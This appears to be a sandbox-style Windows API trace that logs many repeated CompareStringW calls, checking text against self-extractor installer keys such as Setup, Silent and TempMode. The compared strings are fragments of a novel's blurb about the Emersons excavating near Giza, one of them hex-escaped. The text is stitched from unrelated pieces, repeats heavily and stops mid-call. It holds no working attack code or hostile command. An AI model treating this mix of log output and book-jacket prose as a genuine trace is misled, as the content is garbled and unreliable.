lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.763] ExpandEnvironmentStringsW (in: lpSrc="U8471", lpDst=0x16b374, nSize=0x1000 | out: lpDst="U8471") returned 0x6 [0067.764] OemToCharBuffA (in: lpszSrc="U", lpszDst=0x16d388, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0067.764] CharToOemBuffA (in: lpszSrc="U", lpszDst=0x16d37c, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0067.764] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x16b374, nSize=0x1000 | out: lpDst="1") returned 0x2 [0067.764] ExpandEnvironmentStringsW (in: 